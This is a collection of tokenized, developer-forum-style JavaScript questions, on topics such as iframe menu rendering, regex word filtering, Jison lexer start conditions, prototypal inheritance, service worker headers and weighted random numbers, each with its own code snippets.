) I have a menu down the left side of the page . ( which I am having a problem with ) I have a frame to the right of the menu that will display my page.My index.htm page is loading all the frames and looks like this : My menu.htm page has the following code : My _styles.css file has the following : The page seems to show correctly except that the menu on the left shows a checkbox where it should n't and shold be releaced with the + or - icons.If I open my menu.htm by it 's self it shows correctlyhowever when I view my index.htm page ( which loads the menu in the iframe ) it does n't show the menu correctly as shown below : however , as soon as I add the following code it shows the menu correctly : however , it does n't show my document height correctly using my win_resize function.I am guessing that the last bit of code is stopping my document height code from displaying the correct height.I need that function so it can display my menu frame correctly on the page.Does anyone know where I have gone wrong , as it works fine by it 's self but soon as I call it from a iframe it does n't display correctly ? An I using the correct code in my function to get the documents height in full or is there a CSS I can use to get the documents height ? < script language= '' javascript '' > function win_resize ( ) { var _docHeight = ( document.height ! == undefined ) ? document.height : document.body.offsetHeight ; document.getElementById ( 'leftMenu ' ) .height = _docHeight - 90 ; } < /script > < body onresize= '' win_resize ( ) '' > < ! -- Header -- > < div id= '' header '' > < div > < img src= '' logo.png '' > < /div > < /div > < ! -- Left Menu -- > < div id= '' left-sidebar '' > < iframe id= '' leftMenu '' src= '' menu.htm '' STYLE= '' top:72px ; left:0px ; position : absolute ; '' NAME= '' menu '' width= '' 270px '' frameborder= '' 0 '' > < /iframe > < /div > < ! -- Main Page -- > < div id= '' content '' > < iframe src= '' users1.htm '' STYLE= '' top:72px '' NAME= '' AccessPage '' width= '' 100 % '' height= '' 100 % '' frameborder= '' 0 '' > < /iframe > < /div > < /body > < ! DOCTYPE HTML PUBLIC `` -//W3C//DTD HTML 4.01//EN '' `` http : //www.w3.org/TR/html4/strict.dtd '' > < html lang= '' en-GB '' > < head > < link rel= '' stylesheet '' type= '' text/css '' href= '' _styles.css '' media= '' screen '' > < /head > < body > < ol class= '' tree '' > < li > < li class= '' file '' > < a href= '' file1.htm '' > File 1 < /a > < /li > < li class= '' file '' > < a href= '' file2.htm '' > File 2 < /a > < /li > < li class= '' file '' > < a href= '' file3.htm '' > File 3 < /a > < /li > < li class= '' file '' > < a href= '' file4.htm '' > File 4 < /a > < /li > < li class= '' file '' > < a href= '' file5.htm '' > File 5 < /a > < /li > < /li > < li > < label for= '' folder2 '' > My Test 1 < /label > < input type= '' checkbox '' id= '' folder2 '' / > < ol > < li class= '' file '' > < a href= '' status.htm '' > Settings < /a > < /li > < li > < label for= '' subfolder2 '' > test1 < /label > < input type= '' checkbox '' id= '' subfolder2 '' / > < ol > < li class= '' file '' > < a href= '' '' > file1 < /a > < /li > < li class= '' file '' > < a href= '' '' > file2 < /a > < /li > < li class= '' file '' > < a href= '' '' > file3 < /a > < /li > < li class= '' file '' > < a href= '' '' > file4 < /a > < /li > < li class= '' file '' > < a href= '' '' > file5 < /a > < /li > < li class= '' file '' > < a href= '' '' > file6 < /a > < /li > < /ol > < /li > < li > < label for= '' subfolder2 '' > test2 < /label > < input type= '' checkbox '' id= '' subfolder2 '' / > < ol > < li class= '' file '' > < a href= '' '' > file1 < /a > < /li > < li class= '' file '' > < a href= '' '' > file2 < /a > < /li > < li class= '' file '' > < a href= '' '' > file3 < /a > < /li > < li class= '' file '' > < a href= '' '' > file4 < /a > < /li > < li class= '' file '' > < a href= '' '' > file5 < /a > < /li > < li class= '' file '' > < a href= '' '' > file6 < /a > < /li > < /ol > < /li > < li > < label for= '' subfolder2 '' > test3 < /label > < input type= '' checkbox '' id= '' subfolder2 '' / > < ol > < li class= '' file '' > < a href= '' '' > file1 < /a > < /li > < li class= '' file '' > < a href= '' '' > file2 < /a > < /li > < li class= '' file '' > < a href= '' '' > file3 < /a > < /li > < li class= '' file '' > < a href= '' '' > file4 < /a > < /li > < li class= '' file '' > < a href= '' '' > file5 < /a > < /li > < li class= '' file '' > < a href= '' '' > file6 < /a > < /li > < /ol > < /li > < /li > < li > < label for= '' folder2 '' > My Test 2 < /label > < input type= '' checkbox '' id= '' folder2 '' / > < ol > < li class= '' file '' > < a href= '' status.htm '' > Settings < /a > < /li > < li > < label for= '' subfolder2 '' > test1 < /label > < input type= '' checkbox '' id= '' subfolder2 '' / > < ol > < li class= '' file '' > < a href= '' '' > file1 < /a > < /li > < li class= '' file '' > < a href= '' '' > file2 < /a > < /li > < li class= '' file '' > < a href= '' '' > file3 < /a > < /li > < li class= '' file '' > < a href= '' '' > file4 < /a > < /li > < li class= '' file '' > < a href= '' '' > file5 < /a > < /li > < li class= '' file '' > < a href= '' '' > file6 < /a > < /li > < /ol > < /li > < li > < label for= '' subfolder2 '' > test2 < /label > < input type= '' checkbox '' id= '' subfolder2 '' / > < ol > < li class= '' file '' > < a href= '' '' > file1 < /a > < /li > < li class= '' file '' > < a href= '' '' > file2 < /a > < /li > < li class= '' file '' > < a href= '' '' > file3 < /a > < /li > < li class= '' file '' > < a href= '' '' > file4 < /a > < /li > < li class= '' file '' > < a href= '' '' > file5 < /a > < /li > < li class= '' file '' > < a href= '' '' > file6 < /a > < /li > < /ol > < /li > < li > < label for= '' subfolder2 '' > test3 < /label > < input type= '' checkbox '' id= '' subfolder2 '' / > < ol > < li class= '' file '' > < a href= '' '' > file1 < /a > < /li > < li class= '' file '' > < a href= '' '' > file2 < /a > < /li > < li class= '' file '' > < a href= '' '' > file3 < /a > < /li > < li class= '' file '' > < a href= '' '' > file4 < /a > < /li > < li class= '' file '' > < a href= '' '' > file5 < /a > < /li > < li class= '' file '' > < a href= '' '' > file6 < /a > < /li > < /ol > < /li > < /li > < /body > < /html > /* Just some base styles not needed for example to function */* , html { font-family : Verdana , Arial , Helvetica , sans-serif ; } body , form , ul , li , p , h1 , h2 , h3 , h4 , h5 { margin : 0 ; padding : 0 ; } body { background-color : # 606061 ; color : # ffffff ; margin : 0 ; } img { border : none ; } p { font-size : 1em ; margin : 0 0 1em 0 ; } html { font-size : 100 % ; /* IE hack */ } body { font-size : 1em ; /* Sets base font size to 16px */ } table { font-size : 100 % ; /* IE hack */ } input , select , textarea , th , td { font-size : 1em ; } /* CSS Tree menu styles */ol.tree { padding : 0 0 0 30px ; width : 300px ; } li { position : relative ; margin-left : -15px ; list-style : none ; } li.file { margin-left : -1px ! important ; } li.file a { background : url ( document.png ) 0 0 no-repeat ; color : # fff ; padding-left : 21px ; text-decoration : none ; display : block ; } li.file a [ href *= '.pdf ' ] { background : url ( document.png ) 0 0 no-repeat ; } li.file a [ href *= '.html ' ] { background : url ( document.png ) 0 0 no-repeat ; } li.file a [ href $ = '.css ' ] { background : url ( document.png ) 0 0 no-repeat ; } li.file a [ href $ = '.js ' ] { background : url ( document.png ) 0 0 no-repeat ; } li input { position : absolute ; left : 0 ; margin-left : 0 ; opacity : 0 ; z-index : 2 ; cursor : pointer ; height : 1em ; width : 1em ; top : 0 ; } li input + ol { background : url ( toggle-small-expand.png ) 40px 0 no-repeat ; margin : -0.938em 0 0 -44px ; /* 15px */ height : 1em ; } li input + ol > li { display : none ; margin-left : -14px ! important ; padding-left : 1px ; } li label { background : url ( folder-horizontal.png ) 15px 1px no-repeat ; cursor : pointer ; display : block ; padding-left : 37px ; } li input : checked + ol { background : url ( toggle-small.png ) 40px 5px no-repeat ; margin : -1.25em 0 0 -44px ; /* 20px */ padding : 1.563em 0 0 80px ; height : auto ; } li input : checked + ol > li { display : block ; margin : 0 0 0.125em ; /* 2px */ } li input : checked + ol > li : last-child { margin : 0 0 0.063em ; /* 1px */ } < ! DOCTYPE HTML PUBLIC `` -//W3C//DTD HTML 4.01//EN '' `` http : //www.w3.org/TR/html4/strict.dtd '' >",Menu not showing correctly once called from iframe "JS : I want to filter some word ( sex etc ) using regex , but some time people use that words like that ( b a d ) ( b.a.d ) ( b/a/d ) and so on how to stop these kind of words using regex.That is only one word I need to filter all that kind of words I have write that code but its not work perfectly < ! DOCTYPE HTML PUBLIC `` -//W3C//DTD HTML 4.0 Transitional//EN '' > < html > < head > < script src= '' jquery-1.8.3.js '' > < /script > < title > < /title > < meta name= '' '' content= '' '' > < /head > < body > < /body > < script > $ ( document ) .ready ( function ( ) { var a= [ 'bad ' , 'worse ' ] ; for ( var i=0 ; i < a.length ; i++ ) { var re = new RegExp ( a [ i ] , '' g '' ) ; var str = `` bad words here '' ; var res = str.match ( re ) ; if ( res.length > 0 ) { alert ( res ) ; break ; } } } ) ; < /script > < /html >",stop abusive words using jquery or javascript "JS : For the following jsonI want to filter out abc values and xyz values separately.I tried the following to get valuesand it worked to give the filtered outputs.Now i want to get the highest of abc values that is if there values abc123 , abc444 , abc999 then the code should return abc999.I can loop over again using lodash but could this be done in a single call - within the same one that filters out ? [ { `` index '' : `` xyz '' , ... } , { `` index '' : `` abc1234 '' , ... } , { `` index '' : `` xyz '' , ... } , { `` index '' : `` abc5678 '' , ... } ... var x = _.filter ( jsonData , function ( o ) { return /abc/i.test ( o.index ) ; } ) ;",lodash / js : Filtering values within an object based on regular expressions and getting the highest by comparison "JS : I 've noticed that jQuery can create , and access non-existent/non-standard HTML tags . For example , Will this break in some kind of validation ? Is it a bad idea , or are there times this is useful ? The main question is , although it can be done , should it be done ? Thanks in advance ! $ ( 'body ' ) .append ( ' < fake > < /fake > ' ) .html ( 'blah ' ) ; var foo = $ ( 'fake ' ) .html ( ) ; // foo === 'blah '","Generating/selecting non-standard HTML tags with jQuery , a good idea ?" "JS : Despite long search in documentation and forums , I still fail to get the right syntax for Jison start condition using JSON format in node.jsBut unfortunately no one not provides a full working sample.I 'm trying to exclude any text that is in between two tags . In lex would use start conditions . Jison documentation says it should works . Nevertheless as Jison error messages are not very intuitive , I would be please to find a working sample to move forward.Would any one have the solution ? My current sample fail with /node_modules/jison/node_modules/jison-lex/regexp-lexer.js:42 startConditions [ conditions [ k ] ] .rules.push ( i ) ; > ** Documentation at http : //zaach.github.io/jison/docs/ says : > // Using the JSON format , start conditions are defined with an array > // before the rule ’ s > matcher { rules : [ > [ [ 'expect ' ] , ' [ 0-9 ] + '' . `` [ 0-9 ] + ' , 'console.log ( `` found a float , = `` + yytext ) ; ' > ] ] } var jison = require ( `` jison '' ) .Parser ; grammar = { `` lex '' : { `` rules '' : [ [ `` + '' , `` /* skip whitespace */ '' ] , [ [ 'mode1 ' ] , ' [ 0-z ] +\\b ' , `` return 'INFO ' ; '' ] , [ [ 'mode1 ' ] , ' < \\/extensions > ' , `` this.popState ( ) ; return 'EXTEND ' ; '' ] , [ ' < extensions > ' , `` this.begin ( 'mode1 ' ) ; return 'EXTSTART ' ; '' ] , [ ' $ ' , `` return 'EOL ' ; '' ] ] } , // end Lex rules `` bnf '' : { // WARNING : only one space in between TOKEN ex : `` STOP EOF '' 'data ' : [ [ `` EOL '' , `` this.cmd='EMPTY ' ; return ( this ) ; '' ] , [ 'EXTSTART INFO EXTEND EOL ' , '' this.cmd='EXTEN ' ; this.value= $ 2 ; return ( this ) ; '' ] ] } } ; parser = new jison ( grammar ) ; test= `` \ < extensions > \ < opencpn : start > < /opencpn : start > < opencpn : end > < /opencpn : end > \ < opencpn : viz > 1 < /opencpn : viz > \ < opencpn : guid > 714d1d6e-78be-46a0-af6e-2f3d0c505f6d < /opencpn : guid > \ < /extensions > '' ; data=parser.parse ( test ) ;",jison start conditions with json format JS : I want to calling a javascript function from a asp.net modal window using vb . The javascript function is to close the same modal window . The function I want call is : function CloseModalWindow ( winName ) I tried but that does not work.How can I do that from vb.net code behind ? Page.ClientScript.RegisterStartupScript,Calling a javascript function from a modal window in vb.net "JS : We are using Web Components and Polymer on our site , and have quite a few bits of Javascript which wait for the `` WebComponentsReady '' event to be fired before executing . However , we have some asynchronous JS files which occasionally add an event listener for the event after it has been fired , meaning the script we want to run is never run.Does anyone know if there is a flag for Web Components being ready which can be checked ? Something like this is what we would need : Any help appreciated . if ( WebComponents.ready ) { // Does this flag , or something similar , exist ? ? // do stuff } else { document.addEventListener ( 'WebComponentsReady ' , function ( ) { // do stuff } }",Web Components ready flag "JS : I 'm working on a JavaScript project that uses Prototypical Inheritance . The way that I decided to use it is the following : With the emphasis on the inheritance . The issue with this is that if I put a console.log in the constructor of each class ( the super and the sub ) , the super class is called twice , once when it is passed into the subclass with MySubClass.prototype = new MySuperClass ( ) ; without any parameters and once with parameters when it is 'constructor stolen ' in the constructor of the sub class.This can cause errors if I then try to save those parameters ( meaning that I have to add logic to deal with empty params ) .Now if I do this : Everything seems to work correctly but I 've never seen anyone do this before ( in my Googl'ing ) . Can anyone explain to me if and how the 2nd one is incorrect ( it seems to be similar to the Crockford inheritance function ) and how to fix the 1st one to not fire twice if it is please ? var MySuperClass = function ( param ) { this.prop = param ; } ; MySuperClass.prototype.myFunc = function ( ) { console.log ( this.prop ) ; } ; var MySubClass = function ( param ) { MySuperClass.call ( this , param ) ; } ; MySubClass.prototype = new MySuperClass ( ) ; MySubClass.prototype.constructor = MySubClass ; var obj = new MySubClass ( 'value ' ) ; obj.myFunc ( ) ; var MySubClass = function ( param ) { MySuperClass.call ( this , param ) ; } ; MySubClass.prototype = MySuperClass ; MySubClass.prototype.constructor = MySubClass ;",Prototypical Inheritance calls constructor twice "JS : I 'd like to add new assertions to QUnit.I 've done something this : When I use increases ( foo , bar , baz ) in my test , I get ReferenceError : increases is not definedFrom the browser console I can see increases is found in QUnit.assert along with all the other standard functions : ok , equal , deepEqual , etc.From the console , running : test ( `` foo '' , function ( ) { console.log ( ok ) } ) ; I see the source of ok.Running : test ( `` foo '' , function ( ) { console.log ( increases ) } ) ; I am told increases is not defined.What is the magic required to use my increases in a test ? Also , where ( if anywhere ) is the documentation for that ? Thanks QUnit.extend ( QUnit.assert , { increases : function ( measure , block , message ) { var before = measure ( ) ; block ( ) ; var after = measure ( ) ; var passes = before < after ; QUnit.push ( passes , after , `` < `` + before , message ) ; } } ) ;",How do I extend QUnit with new assertion functions ? "JS : I have this interesting jQuery function . It basically adds a click handler to link , and when that is clicked , it will load a form to allow the user to edit the content . and the form is submitted by AJAX , and will display a success message when it 's done . The outline is below ; needless to say , this is messy . I could have each of the callback as a class method . What other ways are there to refactor nested functions ? I am also interested to see if there are ways that variables declare in a parent function still retain its value down to the nested function after refactoring $ ( ' a.edit ' ) .click ( function ( ) { // ..snipped.. // get form $ .ajax ( { success : function ( ) { // add form // submit handler for form $ ( new_form ) .submit ( function ( ) { // submit via ajax $ .ajax ( { success : function ( data ) { // display message } } ) } ) } } ) }",JQuery/JavaScript : refactoring nested functions "JS : I want to remove an HTML tag from string for example remove div , p , br , ... I 'm trying to do this : but the result is : How can do it like : `` this is my text sample '' var mystring = `` < div > < p > this < /p > < p > is < /p > < p > my < /p > < p > text < /p > < p > sample < /p > < p > < /p > < p > < /p > < /div > '' var html3 = $ ( mystring ) .text ( ) ; `` thisismytextsample ``",Remove html tag from a string using jQquery JS : Just like we include a javascript file in html In this case 'CommonFunctions.js ' is placed in current directory . Can we include a javascript file which is inside a zipped file ? < script language= '' JavaScript1.2 '' src= '' CommonFunctions.js '' type= '' text/javascript '' >,Is it possible to include a javascript file which is in a zipped file ? "JS : I want to insert new row in html table when user press enter on keyboard . At beginning I already added first tr when create the table . In this tr , first td contain html dropdown list ( $ select_chooseitem ) that contain data from database.Second column is textbox . I want to use javascript to get first tr element set and create new row based on that . tr element set would be like : I do not want to declare new tr element set . But , want to retrieve first tr element set from table . Is this possible ? Since first one not work , other method I tried was getting $ select_chooseitem in javascript to create tr element set . I tried access php variable ( $ select_chooseitem ) in js by addNewRow ( '. $ select_chooseitem . ' ) ; , but not working . How is proper way to access php variable value from js ? I have tried declare variable in js and try to access in js in head of html . not successful too.Example : Thanks in advance . < tr > < td > first col < /td > < td > second col < /td > < /tr > $ row_html = ' < tr > < td > '. $ select_chooseitem . ' < /td > < td > < input type= '' text '' name= '' order '' > < /td > < /tr > ' ; $ html_complete= ' < ! DOCTYPE html > < html lang= '' en '' > < head > < script > $ ( function ( ) { // Change the selector if needed var $ table = $ ( `` .mt-table-edit '' ) ; //addNewRow ( ) ; function addNewRow ( ) { //get row template . We must use html ( ) for new instance other event handler will get attached to last row //var $ tr = $ ( `` < tr > < td > < input/ > < /td > < td > < input/ > < /td > < td > < input/ > < /td > < td > < input/ > < /td > < /tr > '' ) ; var $ tr = $ ( `` < tr > < td > < input/ > < /td > < td > < input/ > < /td > < /tr > '' ) ; $ tr.find ( `` td '' ) .eq ( $ tr.find ( `` td '' ) .length - 1 ) .keyup ( function ( e ) { if ( event.keyCode === 13 ) { addNewRow ( ) ; } } ) ; // add template after the last row $ table.find ( `` tbody : last-child '' ) .append ( $ tr ) ; // focus on firt input of newly added row $ tr.find ( `` td : first input '' ) .focus ( ) ; } } ) ; < /script > < /head > < body > < table class= '' mt-table-edit '' > '. $ row_html . ' < /table > < /body > < /html > ' ; echo $ html_complete ; //echo $ query_tbltemplateitems ; < script > $ ( function ( ) { var $ table = $ ( `` .mt-table-edit '' ) ; var $ row = $ ( `` .mt-table-edit '' ) .children ( `` tr : first '' ) ; addNewRow ( '. $ select_chooseitem . ' ) ; function addNewRow ( var ) { //get row template . We must use html ( ) for new instance other event handler will get attached to last row //var $ tr = $ ( `` < tr > < td > < input/ > < /td > < td > < input/ > < /td > < td > < input/ > < /td > < td > < input/ > < /td > < /tr > '' ) ; var $ tr = $ ( `` < tr > < td > var < /td > < td > < input/ > < /td > < /tr > '' ) ; $ tr.find ( `` td '' ) .eq ( $ tr.find ( `` td '' ) .length - 1 ) .keyup ( function ( e ) { if ( event.keyCode === 13 ) { addNewRow ( var ) ; } } ) ; $ table.find ( `` tbody : last-child '' ) .append ( $ tr ) ; $ tr.find ( `` td : first input '' ) .focus ( ) ; } } ) ; < /script > < ? php $ select_chooseitem= ' < select > '. $ option_list . ' < /select > ' ; ? > < script > var select_chooseitem= < ? php echo $ select_chooseitem ; ? > ; < /script >",javascript insert new row same as first row when press enter in html table last row "JS : Hei guys ! I need help with the commander node.js library . I need create this CLI which accepts 3 flags , -- input , -- output and -- pattern , like : My problem is with the input flag . I need send several files , for that i need an array data type.The problem is : I just ca n't figure it out how to make this : become an array with all my files that are inside my files directory . I already try to run every sample in the documentation , and i did n't find the solution for my problem . Also , i searched in the issues and did n't find either ... what is strange , maybe i am doing something wrong and you guys could help ? ? Thanks ! commander .version ( ' 3.0.0 ' ) .usage ( ' [ options ] < file ... > ' ) .option ( '-i , -- input ' , 'Array of files to be extracted ' ) .option ( '-o , -- output ' , 'Output file name ' ) .option ( '-p , -- pattern ' , 'Pattern name to be used in the extraction ' ) .parse ( process.argv ) ; node ./bin/extract -i ../files/*.PDF",Arrays using commander "JS : Am working through the official Gatsby tutorial here . Up until step 7 everything worked 100 % fine . In step 7 `` Programmatically create pages from data '' , this snippet is listed for gatsby-node.js ( as is , no imports ) : However , when running gatsby develop I get : ReferenceError : getNode is not defined . I have googled it up for quite some time , and it seems that there may have been some breaking changes recently in the latest versions of Gatsby . Does anyone have an idea what could be the reason for this and how to fix the missing reference ? Maybe some module should be imported ? exports.onCreateNode = ( { node } ) = > { if ( node.internal.type === ` MarkdownRemark ` ) { const fileNode = getNode ( node.parent ) console.log ( ` \n ` , fileNode.relativePath ) } }",getNode ( ) method not found in gatsby-node.js with the latest version of Gatsby "JS : I 'm working on the plugin flot.touch.js which add touch interactivity ( pan and zoom ) on the chart for webkit browsers.I want to make it work on IE10 too but I do n't know how to retrieve the space between my touch points ( I need this for calculate the scale ) .On webkit browsers , we can do this by using these variables : evt.originalEvent.touches [ 0 ] .pageXevt.originalEvent.touches [ 0 ] .pageyevt.originalEvent.touches [ 1 ] .pageXevt.originalEvent.touches [ 1 ] .pageY",Space between touch points on IE10 "JS : I 'm looking for a way to influence Math.random ( ) .I have this function to generate a number from min to max : Is there a way to make it more likely to get a low and high number than a number in the middle ? For example ; rand ( 0 , 10 ) would return more of 0,1,9,10 than the rest . var rand = function ( min , max ) { return Math.floor ( Math.random ( ) * ( max - min + 1 ) ) + min ; }",Influence Math.random ( ) "JS : I 'm trying to use a Spring variable in javascript : and I found some information hereso I tried : In my browser 's source tab I have something like : and the error is : Uncaught SyntaxError : Invalid shorthand property initializer.I also tried with : var xxx = /* [ [ $ { states } ] ] */ 'foo ' ; and if i print console.log ( xxx ) , I got 'foo ' . Map < String , List < String > > states ; < script th : inline= '' javascript '' > /* < ! [ CDATA [ */ var xxx = $ { states } ; console.log ( xxx ) ; /* ] ] > */ < /script > var xxx = { STATE1= [ a , b , c , d ] } ; console.log ( xxx ) ;",Using Spring variable in javascript "JS : On a site I am working on I load up a series of images which can be animated using some controls I implemented w/javascript . Everything works just fine in all browsers but IE6 which locks up and never recovers ; at least not w/in the 15min I let it sit there.The part it is choking on is a portion where I try to modified the contents of a particular div.Before problem : After problem : I 've tried : storing all the elements w/in animation_image as a string and setting that to be the innerHTMLcreating empty/placeholder divs w/in animation_image and populating them individuallyusing appendChild instead of innerHTMLadding another div under `` animation_image '' and putting all the images/divs in there using the 3 methods above thisNone of it seems to work in IE6 - all methods work just fine in FF3.0+ , IE7+ , Chrome 2+ , etc . If I exit the javascript prior to the innerHTML it works just fine but if I even try to populating a single div ( within animation_image ) via the method in the 2nd bullet point , it locks up and never recovers.I 'm sure I left something out but I am totally freaking out ATM . Thanks in advance.Update : Here is a link to the javascript along w/sample XML ( http : //pastebin.com/m5b426a67 ) < div id='animation_image ' > < /div > < div id= '' animation_image '' > < div id= '' daily_loop_image_13 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/13/20100119/world_14.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_12 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/12/20100119/world_13.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_11 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/11/20100119/world_12.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_10 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/10/20100119/world_11.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_9 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/9/20100119/world_10.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_8 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/8/20100119/world_9.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_7 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/7/20100119/world_8.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_6 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/6/20100119/world_7.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_5 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/5/20100119/world_6.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_4 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/4/20100119/world_5.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_3 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/3/20100119/world_4.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_2 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/2/20100119/world_3.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_1 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/1/20100119/world_2.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' daily_loop_image_0 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/image/0/20100119/world_1.gif '' class= '' '' border= '' 0 '' > < /div > < div id= '' weekly_loop_image_1 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/weeklyImage/1/20100119/world_wk2max.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < div id= '' weekly_loop_image_0 '' class= '' loop_image '' > < img name= '' animation '' src= '' /path/to/weeklyImage/0/20100119/world_wk1max.gif '' class= '' hiddenElements '' border= '' 0 '' > < /div > < /div >",innerHTML causes IE6 to ( permanantly ) lock up "JS : It seems that fetch event inside service worker is n't receiving request headers , although it is stated in MDN documentation : You can retrieve a lot of information about each request by calling parameters of the Request object returned by the FetchEvent : event.request.url event.request.method event.request.headers event.request.bodyCode for fetching resource from main thread : Fetch event handler inside SW file : Logging headers for every fetch event gives me empty object : Headers { } This is preventing me to cache this specific request which requires only these two headers . Credentials are n't required . Am I missing something ? fetch ( ` $ { companyConfig.base } ticket-scanner/config ` , { headers : { ' X-Nsft-Locale ' : ` en ` , ' X-Nsft-Id ' : ` 1 ` , } , } ) .then ( ( response ) = > { return response.json ( ) ; } ) .then ( ( data ) = > { ... } ) self.addEventListener ( 'fetch ' , function ( event ) { event.respondWith ( caches.match ( event.request , { cacheName : CACHE_NAME } ) .then ( function ( response ) { if ( response ) { return response ; } console.log ( event.request.headers ) ; //Log out headers return fetch ( event.request ) .then ( function ( response ) { return response ; } ) .catch ( function ( err ) { console.error ( err ) ; } ) } ) ) } ) ;",Fetch event not receiving request headers "JS : I have the following function makeStopwatch that I am trying to work through to better understand javascript closures : When I console.log the calls to stopwatch1 and stopwatch2 I get 0 returned each time respectively . As I understand the intended functionality of makeStopwatch the variable elapsed would be 0 if returned by the inner function stopwatch . The inner function increase increments the variable elapsed . Then setInterval calls increase after a delay of 1 second . Finally , stopwatch is returned again this time with the updated value which is expected to be 1.But this does n't work because inside makeStopwatch , the inner stopwatch , increase , and setInterval functions are all in independent scopes of one another ? How can I revise this to work as I understand it so that elapsed is incremented and that value is closed over and saved so that when I assign makeStopwatch to variable stopwatch1 and call stopwatch1 the updated value is returned ? var makeStopwatch = function ( ) { var elapsed = 0 ; var stopwatch = function ( ) { return elapsed ; } ; var increase = function ( ) { elapsed++ ; } ; setInterval ( increase , 1000 ) ; return stopwatch ; } ; var stopwatch1 = makeStopwatch ( ) ; var stopwatch2 = makeStopwatch ( ) ; console.log ( stopwatch1 ( ) ) ; console.log ( stopwatch2 ( ) ) ;",How to access variables in another scope inside a function using closure in javascript ? "JS : Inside a long text document there are some `` special words '' to which I want to display notes/annotations on the left . Each note should be as close as possible to the level of the word it is refering to.The HTML for this is organised in a table . Each paragraph is one table row , consisting on annotations in the left and main text in the right table column . the notes/annotations go to the left . However , unfortunately , there are also some other elements/text nodes in there.It 's easy to change the `` note '' -spans to absolute and positioned them on the level of their reference : However , life is not so simple here . Since there could be a lot of reference words in one line ( while on other there are none of them ) I need a rather sophisticated way to distribute the notes so that they are as close as possible to their references without destroying anything in the layout ( e.g . being placed outside of the table cell or overlapping with other elements ) .Furthermore , the height of the table cells could not be changed . Elements which are not notes must not be moved . ( Note elements are always in the order they appear in the main text . That 's not the problem . ) So , I need an algorithm like this : Take all notes in a table cell.Analyse blank space in that table cell : Which areas are blank , which are blocked ? Distribute the notes in the table cell so that each note is as close as possible to its reference word without any element colliding with any other item in the table cell.Is there any fast and elegant way to do this without having to write hundreds of lines of code ? Here is a JSfiddle : https : //jsfiddle.net/5vLsrLa7/7/ [ Update on suggested solutions ] Simply setting the position of the side notes to relative or just moving notes down wo n't work , because in this case , the side notes will just go downwards relative to their desired position which results in side notes way to far from their reference words . After all , for a neat solution I need to side notes spread in both directions : up and down . [ Update ] The expected result would be something like this : As you see , it 's never possible to place all the notes at the height of their reference . However , the free space is used to position them as close as possible , moving them up and down . < table > < tr > < td class '' comments '' > < span id= '' dog '' class= '' note '' > Note for dog < /span > < span id= '' cat '' class= '' note '' > Note for cat < /span > < span id= '' horse '' class= '' note '' > Note for horse < /span > Somethin else than a note . < /td > < td > [ Text ... ] < span id= '' dog_anchor '' class= '' reference '' > Dog < /span > < span id= '' cat_anchor '' class= '' reference '' > Cat < /span > < span id= '' horse_anchor '' class= '' reference '' > Horse < /span > [ Text ... ] < /td > < /tr > < /table > $ ( 'span [ class*= '' note '' ] ' ) .each ( function ( index , value ) { var my_id = $ ( this ) .attr ( 'id ' ) ; var element_ref = document.getElementById ( my_id + `` _anchor '' ) ; // get reference element var pos_of_ref = element_ref.offsetTop ; // get position of reference element $ ( this ) .css ( 'top ' , pos_of_ref ) ; // set own position to position of reference element } ) ;",Prevent overlapping while positioning element at height of another "JS : This error only happens when I spawn the ios-driver jar as a Node.js child.The error is java.net.SocketException : Protocol family unavailableselenium-test.js : webdriverjs-test.js ( webdriverjs ) Reproduce this error by creating the above files , running selenium-test.js in one window and webdriverjs-test.js in another window . You will first need to npm install webdriverjs and curl -O http : //ios-driver-ci.ebaystratus.com/userContent/ios-server-standalone-0.6.6-SNAPSHOT.jarVersion info : Why does this error happen and how do I fix it ? var spawn = require ( 'child_process ' ) .spawn ; var selenium = spawn ( 'java ' , [ '-jar ' , './ios-server-standalone-0.6.6-SNAPSHOT.jar ' , '-port ' , '4444 ' ] ) ; selenium.stderr.setEncoding ( 'utf8 ' ) ; selenium.stderr.on ( 'data ' , function ( data ) { console.log ( data ) ; } ) ; var webdriverjs = require ( 'webdriverjs ' ) ; var options = { desiredCapabilities : { browserName : 'safari ' , platform : 'OS X 10.9 ' , version : ' 7.1 ' , device : 'iphone ' } } ; webdriverjs .remote ( options ) .init ( ) .end ( ) ; $ java versionjava version `` 1.7.0_51 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_51-b13 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 24.51-b03 , mixed mode ) $ node -vv0.10.26",Node.js Selenium IPv6 Issue ( SocketException Protocol family unavailable ) "JS : This has become more of a pondering about how javascript works , than an actual problem to fix . In the case of a statement like The resultant str var would contain the value `` 9 some words here '' . My question is what function does javascript use to automatically coerce the Number object ' 9 ' into a string to be concatenated with 